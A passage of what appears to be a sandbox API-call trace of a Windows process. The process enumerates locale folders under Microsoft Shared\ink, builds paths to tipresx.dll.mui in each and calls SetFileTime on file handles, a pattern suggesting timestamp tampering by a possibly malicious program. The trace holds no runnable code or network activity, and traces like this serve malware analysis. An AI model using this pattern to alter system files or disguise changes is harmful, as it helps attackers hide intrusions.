ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.243] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0058.243] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0058.243] lstrcmpA (lpString1=".", lpString2="pl-PL") returned -1 [0058.243] lstrcmpA (lpString1="..", lpString2="pl-PL") returned -1 [0058.243] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f84a8, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.244] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.244] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.245] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.245] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.245] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.245] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.246] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.246] CloseHandle (hObject=0x90) returned 1 [0058.246] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui" [0058.246] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.246] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0058.247] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0058.247] lstrcmpA (lpString1=".", lpString2="pt-BR") returned -1 [0058.247] lstrcmpA (lpString1="..", lpString2="pt-BR") returned -1 [0058.247] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f84a8, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.247] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.247] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.247] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.247] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.247] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.247] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.249] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.249] CloseHandle (hObject=0x90) returned 1 [0058.249] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui" [0058.249] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.249] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0058.249] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0058.249] lstrcmpA (lpString1=".", lpString2="pt-PT") returned -1 [0058.249] lstrcmpA (lpString1="..", lpString2="pt-PT") returned -1 [0058.250] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f84a8, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.250] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.250] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.250] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.250] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.250] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.250] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.252] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.252] CloseHandle (hObject=0x90) returned 1 [0058.252] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui" [0058.252] lstrcmpA (lpString1=".", lpString2="ro-RO") returned -1 [0058.252] lstrcmpA (lpString1="..", lpString2="ro-RO") returned -1 [0058.252] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f84a8, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.253] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.253] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.253] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.253] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.255] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.255] CloseHandle (hObject=0x90) returned 1 [0058.255] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" [0058.255] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.256] lstrcmpA (lpString1=".", lpString2="ru-RU") returned -1 [0058.256] lstrcmpA (lpString1="..", lpString2="ru-RU") returned -1 [0058.256] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f8266, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.259] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.259] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.259] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.259] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.261] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.261] CloseHandle (hObject=0x90) returned 1 [0058.261] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui" [0058.261] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.262] lstrcmpA (lpString1=".", lpString2="sk-SK") returned -1 [0058.262] lstrcmpA (lpString1="..", lpString2="sk-SK") returned -1 [0058.262] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f8266, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.262] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.262] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.262] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.262] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.264] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.264] CloseHandle (hObject=0x90) returned 1 [0058.264] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui" [0058.264] lstrcmpA (lpString1=".", lpString2="sl-SI") returned -1 [0058.264] lstrcmpA (lpString1="..", lpString2="sl-SI") returned -1 [0058.264] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f84a8, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.265] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.265] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.265] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.265] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.266] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.266] CloseHandle (hObject=0x90) returned 1 [0058.266] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui" [0058.267] lstrcmpA (lpString1=".", lpString2="sr-Latn-CS") returned -1 [0058.267] lstrcmpA (lpString1="..", lpString2="sr-Latn-CS") returned -1 [0058.267] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f84a8, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.267] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.267] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.267] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.267] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.270] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.270] CloseHandle (hObject=0x90) returned 1 [0058.270] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui" [0058.270] lstrcmpA (lpString1=".", lpString2="sv-SE") returned -1 [0058.271] lstrcmpA (lpString1="..", lpString2="sv-SE") returned -1 [0058.271] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f84b0, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.272] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.272] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.272] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.272] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.273] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.273] CloseHandle (hObject=0x90) returned 1 [0058.274] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui" [0058.274] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.274] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.274] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.274] lstrcmpA (lpString1=".", lpString2="th-TH") returned -1 [0058.274] lstrcmpA (lpString1="..", lpString2="th-TH") returned -1 [0058.274] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f8266, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.275] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.275] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.275] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.275] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.276] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.276] CloseHandle (hObject=0x90) returned 1 [0058.276] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" [0058.276] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.277] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.277] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.277] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.277] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.277] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.277] lstrcmpA (lpString1=".", lpString2="tr-TR") returned -1 [0058.277] lstrcmpA (lpString1="..", lpString2="tr-TR") returned -1 [0058.278] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f8266, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.278] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.278] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.278] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.278] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.280] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.280] CloseHandle (hObject=0x90) returned 1 [0058.280] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui" [0058.280] lstrcmpA (lpString1=".", lpString2="uk-UA") returned -1 [0058.280] lstrcmpA (lpString1="..", lpString2="uk-UA") returned -1 [0058.280] FindFirstFileA (in: 